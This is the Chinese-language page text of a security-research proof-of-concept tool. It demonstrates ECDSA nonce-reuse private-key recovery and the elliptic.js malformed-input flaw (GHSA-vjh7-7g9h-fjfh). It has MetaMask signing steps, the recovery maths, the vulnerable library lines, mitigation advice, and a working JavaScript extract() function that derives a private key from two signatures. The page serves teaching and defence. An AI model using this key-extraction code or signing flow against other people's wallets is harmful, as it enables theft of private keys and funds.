PoCs Check

测试指南
EN

ECDSA签名漏洞PoC指南

概述

该工具用于演示ECDSA签名中的k值重用漏洞,以及最近发现的elliptic.js库的畸形输入处理漏洞。

漏洞原理

ECDSA签名的安全性极度依赖随机数k的唯一性。如果相同的k值被用于签署不同的消息,攻击者可以从两个签名中恢复私钥。

最近发现的elliptic.js库漏洞(GHSA-vjh7-7g9h-fjfh)允许攻击者通过构造特定输入,在用户仅签名一次的情况下提取私钥。

使用方法

1. 点击"连接钱包"按钮

2. 选择实现方式(字符串或BN)

3. 输入或选择一个交易哈希

4. 点击"测试漏洞"按钮

5. MetaMask将请求两次签名,请都确认

6. 观察结果以查看是否成功提取了私钥

安全建议

- 升级到elliptic.js 6.6.1或更高版本

- 使用支持对冲签名的库

- 谨慎签署任何消息,特别是不信任的应用请求的签名

⚠️ 安全研究工具 - 仅供测试目的

这是一个用于演示ECDSA签名漏洞的概念验证(PoC)工具,展示了当相同的k值用于签署不同消息时可能导致的私钥泄露风险。本工具仅应用于教育和安全研究目的,且只在您控制的账户上使用。

2025年2月,elliptic.js库被发现存在严重安全漏洞(GHSA-vjh7-7g9h-fjfh),允许攻击者通过恶意构造的输入提取ECDSA私钥。如果您的项目使用了elliptic <= 6.6.0版本,请立即升级!

请选择下方的实现方式,输入交易哈希,然后点击相应的按钮进行测试。该演示将请求您签署两条不同的消息,并尝试从签名中提取私钥。

  • ECDSA签名漏洞原理

    ECDSA签名算法中,每次签名都需要生成一个唯一的随机数k。如果两次签名使用了相同的k值,攻击者可以通过数学计算从这两个签名中提取私钥。

    ECDSA签名过程:
    k = rand() // 随机方式
    k = combine(d, m) // 确定性方式,RFC 6979
    R = G × k
    r = R.x mod n
    s = k^-1 ⋅ (m + d⋅r) mod n
    sig = r || s

    如果两个不同消息 m1 和 m2 使用相同的k值签名,生成签名 (r, s1) 和 (r, s2),攻击者可以:

    s1 - s2 = (k^-1)⋅(m1 - m2) mod n
    k = ((s1 - s2)^-1)⋅(m1 - m2) mod n
    d = (r^-1)⋅(s1⋅k - m1) mod n

    Elliptic.js漏洞分析

    elliptic.js库的漏洞在于其处理输入时的缺陷。在处理转换为BN对象的过程中,不同的输入可能产生相同的nonce值,导致签名使用相同的k值。

    // 漏洞代码:
    msg = this._truncateToN(new BN(msg, 16));
    // ...
    var nonce = msg.toArray('be', bytes);
                

    攻击者可以构造特殊的输入,使两个不同的消息在转换后生成相同的nonce,从而导致k复用,最终泄露私钥。

    对冲签名 vs 确定性签名

    为了防止ECDSA签名中的k值重用漏洞,有以下几种方案:

    签名类型 实现方式 安全特性
    随机签名 k = rand() 依赖随机数生成器的质量
    确定性签名 k = combine(d, m) 容易受到故障攻击
    对冲签名 k = combine(d, m, rnd) 同时防范随机数和故障攻击

    安全建议

    1. 升级加密库: 如果使用elliptic.js,请立即升级到6.6.1或更高版本
    2. 使用对冲签名: 选择支持对冲签名的库,如libsecp256k1、noble-curves等
    3. 输入验证: 严格验证签名输入,避免处理未经验证的用户输入
    4. 安全审计: 定期审查密码学实现,特别是随机数生成和签名过程
    5. 密钥隔离: 为不同的应用使用不同的密钥,以减少单点故障影响

    推荐使用的安全库包括:

    测试结果

    暂无测试记录
    // 恢复私钥的数学过程
    function extract(msg0, msg1, sig0, sig1, curve) {
        const ec = new EC(curve);
        const n = ec.curve.n;
        
        // 检查输入是否是十六进制字符串
        function isHexString(str) {
            if (typeof str !== 'string') return false;
            return /^[\-0-9a-fA-F]+$/.test(str);
        }
        
        // 从签名中提取r和s
        const sig0Clean = sig0.startsWith('0x') ? sig0.substring(2) : sig0;
        const sig1Clean = sig1.startsWith('0x') ? sig1.substring(2) : sig1;
        
        const r = new BN(sig0Clean.substring(0, 64), 16);
        const s0 = new BN(sig0Clean.substring(64, 128), 16);
        const s1 = new BN(sig1Clean.substring(64, 128), 16);
        
        // 转换消息为BN对象
        const m0 = isHexString(msg0) ? new BN(msg0, 16) : new BN(msg0);
        const m1 = isHexString(msg1) ? new BN(msg1, 16) : new BN(msg1);
        
        // 计算差值
        const s_diff = s1.sub(s0).umod(n);
        const m_diff = m1.sub(m0).umod(n);
        
        // 计算k值并恢复私钥
        const k = m_diff.mul(s_diff.invm(n)).umod(n);
        const r_inv = r.invm(n);
        const d = s1.mul(k).sub(m1).mul(r_inv).umod(n);
        
        return d.toString('hex');
    }